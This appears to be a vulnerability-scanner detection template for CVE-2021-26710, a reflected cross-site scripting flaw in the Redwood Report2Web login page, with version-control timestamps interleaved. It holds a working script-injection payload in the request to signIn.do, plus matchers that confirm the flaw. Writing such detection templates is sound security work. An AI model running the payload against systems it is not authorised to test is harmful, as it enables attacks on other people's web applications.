2021-02-09 12:58:32 +00:00
id : CVE-2021-26710
info :
name : Redwood v4.3.4.5-v4.5.3 XSS
author : pikpikcu
severity : medium
2021-03-24 06:48:11 +00:00
description : A cross-site scripting (XSS) issue in the login panel in Redwood Report2Web 4.3.4.5 and 4.5.3 allows remote attackers to inject JavaScript via the signIn.do urll parameter.
2021-02-09 12:58:32 +00:00
reference : https://vict0ni.me/report2web-xss-frame-injection.html
2021-03-18 07:54:36 +00:00
tags : cve,cve2021,redwood,xss
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.10
cve-id : CVE-2021-26710
cwe-id : CWE-79
2021-02-09 12:58:32 +00:00
requests :
- method : GET
path :
- "{{BaseURL}}/r2w/signIn.do?urll=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
matchers-condition : and
matchers :
- type : status
status :
- 200
- type : word
words :
- "><script>alert(document.domain)</script>"
part : body
- type : word
words :
- "text/html"
part : header
